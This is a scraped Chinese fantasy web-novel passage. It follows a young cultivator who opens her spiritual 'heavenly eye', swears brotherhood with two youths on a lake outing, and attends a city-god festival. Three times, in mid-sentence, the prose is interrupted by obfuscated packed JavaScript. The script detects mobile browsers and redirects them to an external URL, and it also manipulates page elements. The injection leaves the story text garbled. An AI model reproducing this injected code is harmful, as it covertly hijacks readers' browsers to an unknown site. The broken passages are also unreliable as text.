姜慕星走过去戳了戳阮鹏,这会儿有些冷了,在这里睡着会着凉风寒:“阮管事,阮管事醒醒。” 阮鹏睁开眼睛正要呵斥谁在戳他,一睁眼就看到冷到搓手的姜慕星。 他一个激灵站起来,露出笑容:“姜小娘子可让我好等,送完了?那我们去……” 还没等他说完,盛光霁打断了他:“姜小娘子与我同去吃席,就不劳烦阮管事了。” 说完他看向姜慕星:“走吧,这会儿过去还能有好位置。天色暗下来后府内池边还有烟火可以看,你肯定会喜欢的。” 阮鹏眼睁睁看着盛光霁带着姜慕星朝着内院那边走去,等人走了他才回过神来,恶狠狠的呸了一口。 …… 盛光霁说的没错,城主府的流水席上菜式确实十分丰富。 姜慕星用筷子夹了一块嫩烤羊肉放进嘴里咀嚼,油润的肉块汁水丰富满口生香。 这是她穿越以来吃的最好的一顿,永泉府城主确实财大气粗,但凡肉菜里必有名贵香料。姜慕星顾不上说话,一门心思就是吃。 盛光霁吃的不太多,他在席间左顾右盼,不知道在等谁。姜慕星搁下筷子的时候,他面前的骨碟还是干干净净的。 “怎么啦,这些菜你不喜欢吃吗?”姜慕星拿着杯子漱口,“在等人?” 盛光霁摇摇头:“城主今日没有出席,估计是在内廷吃饭吧。若是我学艺有成,也能去那边了。啊,我不是馋饭菜,就是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小小,你总算是回来了。”贺豆豆习惯性地接过她手里的东西,“我说要去城主府接你,夫子非不让我去。你瞧你的手都吹冷了,快进屋去烤烤火。” 他温热的手拉着姜慕星,像哥哥一样护着她往里走。他边走边问,生怕姜慕星在城主府受了委屈。 “我没事啦。”姜慕星笑眯眯的,“城主府里还不错,流水席很好吃,人也很好相处。我玩的很开心,豆豆哥你也应该去的。” 贺豆豆刚想说点什么,就看到姜慕星腰间别的那柄扇子。 这东西瞅着眼生,贺豆豆正要伸手拿出来看个究竟,却被姜慕星的衣袖挡住了。 贺豆豆满脸不解:“小小,大冬天的你买扇子做什么?” 姜慕星想了想说:“我在城主府认识了个叫盛光霁的男修士,我和他交换了信物。” 10. 第 10 章 “城主府的修士?”贺豆豆抿了抿嘴,“你就是和那个盛什么的聊到这么晚才回来啊?” 姜慕星拍了一把贺豆豆的后背:“这叫什么话,我那是交友广泛,拓宽思路好不好。盛光霁人挺不错,给我说了挺多修行上的事。下次你也见见他,多个朋友多条路嘛。” 贺豆豆有些不服气:“不过是比我多吃两年饭罢了,没什么了不起。行了不说这个,外面冷,夫子等你半天了。” 阳夫子和刘氏夫妇都在堂屋里坐着,看样子也是在等姜慕星回来。 “平安无事便好。”阳夫子没有询问在城主府发生了什么事,在他看来只要姜慕星安全回来其他的都不重要。 不过阳夫子不问,不代表其他人不好奇。刘氏夫妇没去过有修士镇守的城主府,因此格外好奇,姜慕星就把所见所闻详细说了一遍。 不过比起修士,他们还是对城主府的流水席更感兴趣一些。 在分享了糕点之后,姜慕星简单洗漱了一下就去睡觉。不过在睡前她还是有些遗憾,没办法明天去城主府看看盛光霁参加的试炼。想到这里,她决定明天开始继续修炼,至少得把天目修出来。 第二天贺豆豆还在睡梦中就被姜慕星一顿乱摇给弄醒了。等他回过神来,马步都扎了半个时辰。 “小小,你今天怎么这么兴奋?”贺豆豆满脸不解,“不是说好了过年这几天休息一下不练功吗?” 姜慕星严肃又认真:“豆豆哥,盛光霁都修出了天目,只是一眼就看出我也是修行之人。我这个年纪怎么睡得着啊!” “……好吧。”贺豆豆皱皱鼻子,“反正也没什么事做,那就好好修行。话说天目是干嘛的,听起来好像很厉害。” 就在这时,阳夫子的声音响了起来:“所谓天目,亦称天眼。修行之人可凭观异象,觉察凡俗之人所不能辨识的一切事物。能修出天目,才算是正经修士。” “道行的深浅决定了天目所观测到的内容,若是修为高深如神君使者,他们的天目甚至可以看穿旁人的命运定数。” “这么厉害啊,那我就更要努力了。”姜慕星握了握拳,“驾鹤飞天的神仙,可不能连天目都修不出来。” 贺豆豆像是想起了什么,他问阳夫子:“夫子,那您之前都是用天目去看的吧?比如说假王智勇和刘大叔他们的真身?” 阳夫子微笑点头。 “怪不得夫子总是不慌不忙。”姜慕星羡慕极了,“所以到底要怎么修出天目啊,用那个看和一般眼睛看到底区别在哪里?” 见她这么着急也没有乱了呼吸节奏,阳夫子从袖中摸出一卷书来:“所以今日就是特意来给你们上课,不修出天目来,今日不许吃饭不许喝水,当然,也不许出恭。” 他一只手拿着经卷,一只手轻抚过自己额头。姜慕星看着阳夫子的额头一抹金光闪过,复杂的祥云纹样浮现在眉心,纹样中一只金线勾勒的竖瞳缓缓睁开。 “这便是夫子的天目吗?”姜慕星由衷感慨,“好漂亮啊。好,我也要努力。” 阳夫子一边拿着天目必修课本《无形书》给他们念诵,一边指引他们运化体内的玉琼思。 此间修士将灵气称之为玉琼思,修士凭借驾驭玉琼思来施展各种神通术法。越是强悍的修士,就越能驾驭更多的玉琼思。 这个修炼机制有点像姜慕星玩过的角色扮演游戏,玉琼思就是蓝条,蓝条越长法师越强。 可惜姜慕星还不知道自己能调用多少玉琼思,如果有一个量化的标准,她以后施展术法就会方便许多。不过按照她的天赋,再配合勤修苦练蓝条肯定越来越长。 阳夫子的教学水平相当不错,他花了五年时间给小两只打基础。自从姜慕星可以施展低阶术法后,他就一直在琢磨怎么让他们学的更稳妥。 天赋好的修士不一定能走得更远,但基础扎实的修士一定不会轻易死去。作为老师和养父,阳夫子不求孩子们成通天彻地之大能,但求平安顺遂,安享喜乐便足够。 姜慕星一边听着阳夫子念诵经文,一边按照他的指引调动体内的玉琼思。她双目微闭,感受体内那股玄而又玄,无法言说的能量在丹田之中缓缓流转。 她缓缓将这股能量顺着经络推动前行,依照经书所说她得把体内的玉琼思运行三个小周天。在抽坎补离后,体内的玉琼思沿着任督二脉流畅运转,阴阳在此刻达到相对平衡,最终玉琼思融汇于泥丸宫。 姜慕星没有睁开双眼,但她“看到”了眼前的一切。世界呈现出的色彩截然不同,无数的丝线勾勒成世间万物。 绿色的木,红色的火,蓝色的水……这些异彩纷呈的颜色能够被轻易分辨;在这其中还有不同于七彩的另一种色系,清浊有序,大相径庭。 “那就是玉琼思和术法残秽吗?”姜慕星喃喃自语,“这就是天目所看到的世界,简直就像游戏里开特殊视野一样啊。” 第一次开了天目所看到的景象令人着迷,姜慕星久久不舍关闭天目,直到她感觉头痛目眩才撤离了泥丸宫的玉琼思。 “哎呦。”姜慕星刚想动一下,整个人却向后栽倒,一屁股坐在了地上。“痛痛痛……天怎么黑了?” 旁边的贺豆豆也没好到哪里去,他满头大汗,嘴唇也变得苍白。随后他双腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511266|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一软,也跪坐在地上大口喘着粗气。 “不错不错。”阳夫子不知道什么时候拿了个马扎坐在一边,他看着浑身脱力的小两只拍了拍手。“只用了四五个时辰就能开启天目,今天给你们加餐。” 姜慕星坐在地上抬头看满天星斗,从早上开始运行玉琼思到现在,她硬生生扎了快八个小时的马步,怪不得她一睁眼浑身就疼的要命根本站不住。 但比起身体上的劳累疼痛,心理上的满足更重要一些。姜慕星一边咧嘴一边摸摸自己的眉心。 ——她有了天目,这样一来就可以修行更高深的术法,距离过她想要的那种潇洒生活的时候不远了。 贺豆豆对修出天目感觉良好,不过比起姜慕星想要修习更多术法,他则是希望能依靠天目学习更高深的武学。 “豆豆哥,在一个有真仙术法的世界里你还要坚持最纯粹的武学技巧。”姜慕星咀嚼嘴里的羊肉,“是不是有点过于没追求了?” 贺豆豆耸耸肩:“无所谓啊,反正我喜欢就足够了。再说哪能遇到那么多神仙大能,夫子不是也说了,一般的小妖怪不足为惧。我还是更喜欢剑术,胜过符箓咒法。” “典型的剑修思维。”姜慕星如此评价,“不过也行,反正咱们总是在一起的。我们术剑合璧,那指定是天下无敌啊!” 贺豆豆哈哈大笑。 姜慕星临睡前还在想今日她修出了天目,也不知道在城主府的盛光霁怎么样了。 不晓得盛光霁有没有顺利通过考验,说起来也没有问过他师承何处。要是盛光霁有自己的师门,以后他们还能邀约一下去串个门什么的。俗话说得好,走江湖靠的不是拳头大小,而是人情世故。 贺豆豆不以为然,但姜慕星老这么提起盛光霁,他也对这个只闻其名不见其人的少年有了一丝竞争之心。 正月初七的那天早上,盛光霁派人送了一份信到刘氏木材铺来。送信的是城主府的杂役,姜慕星接过这封散发着淡淡墨香的信笺,给他了三枚铜钱做谢礼。 姜慕星打开信笺,信上的内容倒是很简单易懂。盛光霁他通过了城主府的试炼,现在是正经领受供奉的羽客了。为表庆贺同喜之意,他邀请姜慕星来城南玉荷池泛舟。 姜慕星一回头,就看到贺豆豆眼神幽幽的看看她,又看看那封信。 “豆豆哥一起去吧。”姜慕星若无其事的收起信笺,伸手去拉贺豆豆的手。“上次就说要介绍你们认识,这次正好有机会。” “……也行。”贺豆豆没有挣开她的手,反而握紧了一些。“我也想见识见识,你赞不绝口的盛羽客究竟有多大能耐。” 11. 第 11 章 盛光霁坐在一块大石头上,再走两步就是泛舟观景的码头。他手里把玩着玉环,眼睛一直盯着路口看。 几天前他通过了城主府的试炼,说是试炼倒也没有想象中那般严肃。 永泉府的城主招募来的修士们,大多只是粗通低阶术法,他们的修为造诣对付个把精怪问题不大,也算不得沽名钓誉。 只是城主想要的,是精通长生之术的修士。针对这一点,还是清宝天尊麾下修士,更加契合城主的要求。 盛光霁低头看着手中玉环,回想了一下他的试炼成果。不晓得是不是姜小娘子金口玉言,他那天发挥格外出彩,堪称修炼以来最完美的施术。 “还是得多谢她送来的那尊神君塑像。”盛光霁摸摸衣襟,他已经用变化之术将塑像缩小成可以悬挂在脖子上的尺寸。 这是他获得的第一件神君触媒,定要好生收藏,轻易不露人前。 因为担心姜慕星找不到城南玉荷池,盛光霁在信笺上还贴心的绘制了简单的地图。约定好的时间是正午,但他心中有所期待,便早了半个时辰抵达码头。 盛光霁就这么一边心不在焉的吹风,一边等待姜慕星前来。总算在午时前,他看到路口处走来两个人。 为首的那个穿着嫩绿色的衣衫,鸦羽般的黑发照例用红头绳挽起。大约是因为正月间出门会友,她还在鬓边还别了一簇带露的十八学士。 言笑晏晏,人比花娇。 盛光霁还没来得及露出微笑,就看到拉着姜慕星的另一个人。他盯着那个粉衫俊逸少年,回想起姜慕星之前说的,这应该就是她的同门师兄。 “对不住,我是不是来迟了?”姜慕星三步两步赶到盛光霁面前,露出大大的笑容。“许久不见啦,盛郎君。” 盛光霁摇摇头,也冲着她笑:“我出门早,不妨事。姜小娘子,这位便是令师兄吧。在下盛光霁,阳州鹤江郡人士。” “盛郎君安好。”贺豆豆也一本正经的作揖回礼,“在下贺豆豆,阳州永郡人。” 两人客套了一下后便开始互相打量了起来,片刻后贺豆豆反而先笑了起来:“你这人,还挺不错。” 盛光霁的笑容也更真诚了几分:“贺郎君谬赞,咱们不如上船再聊。可别辜负这大好春光。” “这边请。”“好!” “嗯?” 姜慕星有点呆愣,在来的路上她还担心贺豆豆会不会和盛光霁发生什么冲突。毕竟他临出门的时候,就好像憋着一股子气。 没想到刚打了照面,这俩反而像什么就别重逢的老友。 看来人与人的缘分,果然是妙不可言。她摇摇头,也跟着上了盛光霁租的小船。 虽说正月里草木尚未完全转绿,但今日阳光明媚天高云淡,水面波光粼粼;玉荷池岸边更有许多沿街叫卖的摊贩,个个高挂灯笼,依然是一派热闹的春日盛景。 盛光霁租的这艘小舟是玉荷池泛舟中最常见的一种,他并未请船夫撑船,而是在船身贴了一张符箓,以此控制行舟走向。 “这里还挺宽敞。”姜慕星坐在小舟中频频点头,“不但能喝茶还有炉火,用符箓控制船只果然要更方便些。” “毕竟要是有船夫在,也不好谈论修炼和术法之类的话题了。” 盛光霁笑道:“我也是听城主府的人说起玉荷池可以泛舟,于是便委托他们帮我定了一艘小船。说起来多亏姜小娘子送来的清宝天尊像,我才能如愿通过试炼。” 姜慕星与有荣焉:“你在信笺中写了,但还是当面道贺更有诚意些。” “就是刘大叔他们……那尊神君像吗?”贺豆豆将赶工二字咽下去,“听小小说你可以用塑像作为触媒,施展术法。不知能否有幸得知盛郎君所用何种术法?” 盛光霁略一思索,从衣襟中摸出变小的神君像握于掌心。他捻起一片落在船上的枯叶,口中吐出一口清气。 姜慕星睁开天目,只见一缕青色烟雾缠绕枯叶,转瞬之间化作一只色彩斑斓的振翅蝴蝶。 贺豆豆看着翩翩飞舞的蝴蝶,对着盛光霁比了个拇指。盛光霁笑着摇头,手指轻动,蝴蝶落在小舟的桌子上变作一只土瓷杯。 土瓷杯滴溜溜打转,又变作一条肥鱼在船头奋力蹦跶。扑通一声肥鱼落入水中,重新化作一片枯叶。 “这就是变化之术吧。”姜慕星连连拍手,“果然精妙,这化形之术能维持多久?” 盛光霁回答:“得看修士的修为,我的话……大概能维持三日。” 贺豆豆一听来了兴趣,他拿起茶壶给盛光霁倒了一杯茶:“这化形之术确实不错,听上去就很厉害。” “有吗?”姜慕星眨巴着眼睛,“化形之术不是只能变化吗,感觉并没有什么杀伤力。” 盛光霁赞同贺豆豆的观点:“贺兄说的不错,化形之术的运用端看修士自身。此术虽是清宝道的基础术法,但精通此术者却寥寥无几。” “若是将其运用在战斗之中,将会起到出其不意的效果。” 贺豆豆一拍大腿:“就是就是,我就说看你感觉面善,原来是同道中人。你也别客气,叫我豆豆就好。也别叫她什么姜小娘子了,叫她小小就成。” “今日我们就是来交朋友的,你这人能处,就说行不行吧!” 姜慕星点点头。 盛光霁脸颊微微泛红,眼神晶亮:“那,那也叫我阿宝吧。这个小名是阿娘在世的时候给我起的,说实话比起光风霁月这样的名字,我还是觉得阿宝更好听。” 这么一番重新互通姓名,小舟上的气氛顿时变得和刚开始截然不同了起来。 姜慕星见气氛正好,便拿出之前盛光霁赠她的空白折扇。 “之前阿宝哥说下次见面将扇子画好扇面还你,现在你和豆豆哥也是朋友了。”姜慕星摸出一支狼毫笔,“不若咱们三人一起作画,这扇子留作纪念如何?” 贺豆豆立刻赞成:“这个主意不错,阿宝你意下如何?” “当然好。”盛光霁眸光流转,喜悦之情溢于言表。“不若以山水为色,江山为墨,绘于扇面如何?” 这句话实在是浪漫,姜慕星立刻将手中狼毫笔递给盛光霁。只见盛光霁口中念咒,手中狼毫在空中微微一点,一抹春绿浸染笔尖。 贺豆豆持笔,姜慕星捧扇,盛光霁点墨,三人齐心协力配合默契,很快扇面上便被勾勒出画面来。贺豆豆最擅山水图,但此刻他并未描山画水,而是以工笔技法白描人像。 姜慕星探头去看,只见扇面上三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511267|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人并排而立。最中心是笑容俏皮的她,左右分别是贺豆豆与盛光霁。 “这是……”盛光霁看着扇面上的人,不知道该露出怎样的表情。“这还是第一次有人为我画像呢。” 贺豆豆搁下手中画笔,满意地笑了起来:“今日只是小试牛刀,等来日我画工大成,会画的比这更好看!” “所以阿宝。”他语重心长的拍拍盛光霁的肩膀,“你可得好好维持术法,不可以让它三天就消散了哦。咱们今天刚成了兄弟,你小子可别让兄弟失望啊。” 虽然不晓得朋友怎么变成了兄弟,但朋友怎么就不能是兄弟。盛光霁立刻点头如捣蒜,当即表示他一定会让扇面长长久久保留下去,如果扇面有损他自当谢罪。 “……倒也没有那么严重吧。”姜慕星看着这俩一副郑重其事的样子,只觉得少年心性,实在可爱。“如果这柄扇子坏了,再画一柄不就好了。” “反正我们一直都在一起,什么时候画扇子,想画多少扇面又有什么关系呢。” 听她这么说,贺豆豆和盛光霁都深以为然。三人又笑嘻嘻的以茶代酒,共饮三大杯。谈到兴浓时,三人竟论资排辈,煞有其事的学着桃园结义,以天地为证结为异姓兄妹。 盛光霁年十七为大哥,贺豆豆年十五是二哥,姜慕星十三岁只能是小妹。 行舟到岸边,贺豆豆施展轻功蹬萍渡水,虽然没阳夫子那般神仙飘逸,但别有一番少年意气。他踏水上岸,引得岸边游客接连喝彩。 “二弟的功夫也是跟着你们师父学的吗?”盛光霁已经从他们口中知道了阳夫子,对这位大隐于市的高人十分神往。“我的师门只是清宝派中的微末小门,门主是我父亲,门中弟子就我一人了。” “诶?”姜慕星略微瞪大眼睛,“父母在不远游,游必有方。阿宝哥,既然你将来必定要继承宗门,怎么会跑来永泉府当羽客呢?” 盛光霁看向岸边买了吃食,正在对他们挥手的贺豆豆。抬手召来几片落叶,落叶甫一落水化作片片莲叶。贺豆豆踏叶而返,将油纸包的烤鸡和点心,还有一小盅烧酒放下。 “你们在聊什么?”贺豆豆看两人的表情有些凝重,不由得歪歪头。“在说什么很煞风景的话吗?” 姜慕星不知道怎么说,但盛光霁若无其事的说:“没什么,只是提到我那过世一年的父亲罢了。” 贺豆豆哦了一声,指了指他自己,又指了指姜慕星:“没关系,我和小小都是从小没见过爹娘的人。阿宝哥不愧是大哥,确实有过人之处。” 姜慕星目瞪口呆。 盛光霁呆了半天才说:“……你,你说这话是,认真的吗?” “当然是认真的。”贺豆豆喝了一口酒,将酒盅丢给盛光霁,“比起我们这些一出生就是孤儿的人,你可不就是幸运的多。好歹你见过你爹娘,有他们给起的好名字。人要知足才能常乐,你说是不是这么个理?” 听完这番话,盛光霁沉默片刻,狠狠地喝了两口酒,长舒一口气。他满脸晕红,然后一边哈哈大笑一边指挥小舟行至玉荷池湖心。 就在姜慕星以为他要白日放歌须纵酒的时候,盛光霁爬上小舟的乌棚,在贺豆豆的口哨声中一个纵身跳进了水里。 “……” 12. 第 12 章 “所以你们就在湖里一起洗了个澡吗?” 李三娘笑眯眯地问姜慕星,她此刻正裹着被子红着眼眶喝生姜红糖水。听到她这么打趣自己,姜慕星十分不爽的鼓起腮帮子。 “才不是洗澡呢,他们俩发酒疯和我一点关系都没有!” 时间倒回玉荷池那会儿,盛光霁从小舟上纵身一跃后,把姜慕星吓了一大跳。她以为这人受不了刺激,终于压抑过度需要大脑冷静。 但下一秒贺豆豆也把外衫和腰带一丢,也跳了下去。溅起的水花泼了没来得及缩回头的姜慕星一脸,衣服也给打湿了。 “好冷!”贺豆豆在水里哇哇大叫,“但好爽,怎么回事,感觉这样做莫名的欢喜。阿宝哥,你真是这个。” 看着贺豆豆竖起的大拇指,原本端方自持的盛光霁发出了完全没有形象的笑声。然后他用手指了指一个方向:“二弟,咱们比比看谁能更快游过去?” “好!” 姜慕星眼睁睁看着这俩如浪里白条般在水中竞速,如果她没看错的话,湖心水面还有残余浮冰。 他们喝的不是高度数蒸馏酒,只是一般农家自酿的米酒而已,好端端的怎么就开始发酒疯?就算是心情激荡,也不至于这么个物理冷静法吧? 姜慕星不理解,她赶紧控制小舟跟在他们身后,防止他们过于激动之后腿部抽筋呛到水。 结果贺豆豆这个小混蛋,不识好人心,玩的过于起劲后竟然把姜慕星也一把拽下水。 骤然下冷水,气的她完全不顾及形象,哇哇大叫着控制湖水,浮起一个个水球朝着贺豆豆和盛光霁丢了过去。 最后三个人精疲力尽爬上小舟,在用术法弄干衣服后,三个人你看看我,我看看你又捂着肚子爆笑出声。买来的烧鸡虽然冷了,但不妨碍他们饿狗抢食般将其分吃干净。 日头西坠,天色将暗,时间也快到宵禁。 盛光霁的脚步将走未走,他的迟疑被姜慕星看在眼里,于是她主动邀约:“阿宝哥,今晚不如不回城主府,就在我们那边住一晚怎么样?” “这,这怎么使得?”盛光霁话是这么说,但脚步很诚实的调转方向。“我初来乍到,怎么好麻烦你们,也没带什么礼物就登门实在是……” 贺豆豆使劲推他后背:“别废话了,快走吧。再过一会儿就宵禁了,这会儿回去还能吃口热的。阿嚏——” 刘元亮给他们开门的时候,还差点被看出他真身的盛光霁用术法给揍了。在手忙脚乱解释了一通后,盛光霁瞪圆眼睛留宿在了刘氏木材铺。 阳夫子当然知道他们带了朋友回来,但在聊天之前还是得让他们把衣服换下来,喝一碗驱寒的姜红汤。 李三娘笑着拿走衣服和空碗,姜慕星连打了三个大喷嚏,红着鼻头换上了干净衣服。随后她返回了堂屋,坐在阳夫子身边一边烤火一边撒娇告状。 “这么坏啊,那一会儿夫子好好罚他。”阳夫子让姜慕星把头靠在膝盖上,用梳子给她把乱糟糟的头发重新梳好。“今日玩的可算开心?” “嗯,很开心。”姜慕星点点头,“阿宝哥是个好人,和他交朋友很开心。夫子,我会努力去交朋友的,以后出门在外你就不用太担心我了。” 正说着,贺豆豆就拉着盛光霁进了堂屋。盛光霁还有点拘谨,老老实实行礼后自我介绍了一番。阳夫子笑着给他一封红包,祝他新年好。 盛光霁倒是没想到自己真的被当做普通晚辈对待,眼眶又是微微泛红。 他捏着红包喉头翻滚两下,深深一鞠:“前辈新年好。” “欸,这就对了。”阳夫子指了指桌子上,“你们这几个皮猴还不快点吃点热乎的,不要仗着自己会点术法就如此肆意。年少不保养身体,临到老了就遭罪了!” 刘元亮的手艺极好,一碗热的羊肉汤饼上面撒着碧绿的芹菜碎。扑鼻的香气令人食指大动,很快堂屋里就没了说话声,全是吸溜吸溜吃汤饼的声音。 “哎呀,真好吃。”姜慕星放下筷子眉开眼笑,“虽说城主府的流水席好,但还得是家里的饭菜更合我的口味。” 贺豆豆笑着戳她:“胡说,明明那天回来才炫耀过城主府的吃食好呢。你这丫头嘴里没有半点实话啊。” “哎呀别在阿宝哥面前拆穿我啦。”姜慕星拍打了一下贺豆豆,她看向盛光霁,“阿宝哥吃好了吗?这饭菜可还合你胃口?” 盛光霁用力点头:“好吃,我很喜欢!” 虽然一开始盛光霁对刘氏夫妇这对鼠妖意见很大,看在姜慕星他们的面子上暂且忍受了,但在热汤下肚之后他立刻松弛了下来。 毕竟自从父亲离世,他独自一人闯荡至今,也没谁会亲切自然的给他一口热汤吃。 贺豆豆叽叽喳喳的说了白天结拜的事,阳夫子听后直笑,笑完了便再给了盛光霁一份红包。 “都是自家人了,你也跟着他们俩叫我夫子吧。”阳夫子说,“说起来你家宗门叫什么,或许我曾经也听说过。” 姜慕星知道阳夫子肯定没听过,按照他的性格,如果听说过的话绝对在第一时间告诉他们。但她初二那晚回来到现在,阳夫子都没提过他认识姓盛的修士。 盛光霁说:“家父名为盛阳煦,修的是清宝派化形之术,家传宗门很小,名为觐真观。” “唔,阳某孤陋寡闻,确实未曾听闻觐真观之大名。”阳夫子思忖片刻,有些歉然的摇摇头。“看来还 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贺豆豆倒是没想过这一点,听姜慕星这么说他也深以为然:“确实,行走江湖的侠客和未来呼风唤雨的神仙可不能啃老。好,就这么定了,你过完生日咱们就来城里卖艺吧!” “为什么是卖艺?”姜慕星瘪瘪嘴,“我看小说里……咳,话本上说有些地方是可以发布一些任务等人去完成的。咱们到时候在那个地方挂名怎么样?” 她一个顺口,把西方幻想小说里的雇佣兵行会和酒馆设定给说出来了。 贺豆豆不明觉厉,他挠挠头不晓得姜慕星说的这是什么地方。不过他不知道不要紧,等见到阳夫子后贺豆豆立刻就问。 “嗯?”阳夫子乍一听也不知道姜慕星说的那是什么地方,不过他知道姜慕星想表达的意思。“我晓得了,天下受苦之人众多,小小不可能知晓所有需求帮助之人。” “因此想要别人告知难处,如此才能更好相助他们,是也不是?” 姜慕星连拍巴掌:“不愧是夫子,立刻就领会我的意思啦。所以有这种地方吗?” “有的,也不单是你有这样的想法。” 姜慕星大喜过望:“谁呀谁呀!居然还有和我一样心怀大爱之人,那我可得好好结识一番了!” 听到他们的对话,手里拿着账本路过的刘元亮探头进来:“这我也知道,从咱们城东一路往城西走,醴泉池拐个湾进去就行。” “刘大叔,那是哪里呀?”姜慕星恨不得立刻就去挂名,“别卖关子,告诉我吧!” 刘元亮说:“城隍庙啊。” 姜慕星:“……哦。” 她倒是忘记了,聆听凡人苦难这种活计,还真的只有神仙才做得。姜大善人当即决定明天一早,就去醴泉池的城隍庙看看去。 13. 第 13 章 城隍庙,顾名思义乃是城隍所在的庙宇。 根据阳夫子所说,此地城隍庙中供奉的城隍多为本地英杰。永泉府城隍是阳州八郡之首,地位等同于土地神中的阳州郡守。 “夫子,郡守和城主不是一回事吗?”姜慕星不太懂这些官场的弯弯绕绕。她之前还以为永泉府城主就是本州最高行政长官。 刘元亮摇摇头,给姜慕星科普:“阳州郡守是京城委派,代管天子领土的官员。而城主只是一城之主,他的代管范围最大不过永郡。” “当今天子敬鬼神而远之,虽承认民间修士存在,但也难登大雅之堂。”阳夫子说,“不过你莫要害怕,兵勇和差役不会抓你的。” 姜慕星点点头,今日阳夫子答应了贺豆豆带他去练武,因此她要独自一人去往城隍庙。 “虽说有人陪着是好事,但偶尔也要单独出门玩玩。”姜慕星把装有铜板的小荷包揣在胸口,步履轻盈地离开刘氏木材铺往城隍庙去。 城东是市集,城西则大多数是永泉府周围农户和贫民聚集区。从城东出发去城西,路程不算很近。姜慕星脚程不慢,也走了将近半个时辰才抵达。 刚一靠近醴泉池附近的街坊,她就看到前面围聚了很多人,都在伸长脖子往里面张望。与此同时敲锣打鼓的乐声也随之而来,还有高低起伏的吟唱相和。 她灵巧地挤进人群里,找了个不被推搡的好位置去凑热闹。 只见人群堆挤街道两侧,中间留出空地给庙祝们和花车行走。只听得声谒行云的一句唱腔,祭拜城隍的花车便被八个赤膊壮汉给抬了出来。 姜慕星定眼望去,那花车装饰繁丽,上面端坐了一个高大塑像。那塑像身穿蟒袍头戴官帽,威严肃穆不苟言笑。 只不过塑像雕刻精细入微,连蟒袍上的鳞片都雕刻的栩栩如生,却唯独没有给这城隍塑像刻上一张人面。 “奇怪,为何这城隍没有面容?”姜慕星心中疑惑,上辈子她也是去城隍庙逛过,但那里的塑像个个都有人脸。 看姜慕星盯着城隍塑像看个不停,旁边摆摊卖胡麻饼的大婶笑呵呵的和她搭话:“小娘子看着面生,不是永泉府本地人吧?” “是嘞,阿婆我买一个胡麻饼。”姜慕星摸出一文钱,笑容可掬地询问卖饼大婶。“我是永郡附近村子里的,这不赶巧正月里出门来城里逛逛。第一次见城里的庙会,好热闹。” 大婶乐呵呵给她一个热气腾腾的胡麻饼,用油纸包了:“小心烫手,咱们这里的庙会可热闹了。你初来乍到,可得好好看看。除却正月里祭祀,也就只有城隍诞辰、节气大祭以及天家寿辰才会有庙会。” 姜慕星咬了一口胡麻饼,这饼子酥脆可口,满口生香:“这饼子真好吃。大婶,我刚才看城隍像好威风,但好像不晓得这城隍长什么样,是有什么讲究吗?您别怪我见识短浅,我就是有些好奇。” “嗨,这哪有什么讲究。”大婶也伸脖子去看停在道中的神轿,周围还有信众手捧鲜花放置在城隍脚下。“永泉府的城隍是无面城隍,这是代表了每一任阳州郡守。但凡做过大功绩的郡守,被朝廷册封后都能享受城隍供奉。” “郡守有许多,但城隍只有一位。” 姜慕星点点头:“原来如此,谢谢大婶。我去前面看看,祭祀还有别的可以看的吗?” “当然有。”大婶一边手脚利索的包裹胡麻饼,一边回答她的问题。“一会儿啊,就是祭神乐舞,你可得找个好位置看看。小娘子且去,我这里要忙了。” 姜慕星拿着胡麻饼又辗转到另一处位置,从这个角度正好能看到神轿的全貌。 抬轿的壮汉们腰间扎着红绸,头上带着彩绳编织的抹额。每个人都身强力壮,在这样的冷天里打着赤膊,身体还散发着腾腾热气。 “原来是无面神。”姜慕星点点头,“那这么说来,城隍的职位只有一个,但行使城隍职能的英灵却不止一位。那要是真有天庭神君,他们在下界的功绩又怎么计算呢?” 她控制不住自己天马行空的想象,回过神来神轿前的祭神乐舞已经准备开演了。 只见一队穿着七彩袍服的人,带着木质面具接踵而来。他们不分男女,皆手持花枝高声唱和。 “丰年多黍多稌,亦有高廪,万亿及秭。” “为酒为醴,烝畀祖妣。以洽百礼,降福孔皆。”① 高声唱和中带着极强的韵律,虽然只有短短几十个字,却依然震撼人心。他们不唱城隍功绩,不唱皇家恩泽,只唱丰年足食,只唱福泽万民。 祭神诵文一开始只有酬神乐舞众人在吟唱,但渐渐的围观的民众们也开始高一声低一声地跟着唱。纵然有个别字眼唱错调子或是唱错字韵,但也无人在意。 毕竟,城隍是保佑城池的保护神,不会和领民计较这些鸡毛蒜皮的小事。能来观看祭典参加庙会的人,自然是诚心实意。 姜慕星也跟着唱了几句,伴随着祭词,酬神乐舞也开始上演。动作不多但贵在整齐划一,姜慕星看得很高兴,不留神把手里的胡麻饼就着乐舞给吃了个干净。 神轿要绕着整个城西街坊走个遍,但姜慕星此行的目的不是看完酬神。她逆着人群,朝醴泉池旁的城隍庙走去。 永泉城的城隍庙门牌高大威严,和官府制式一模一样。 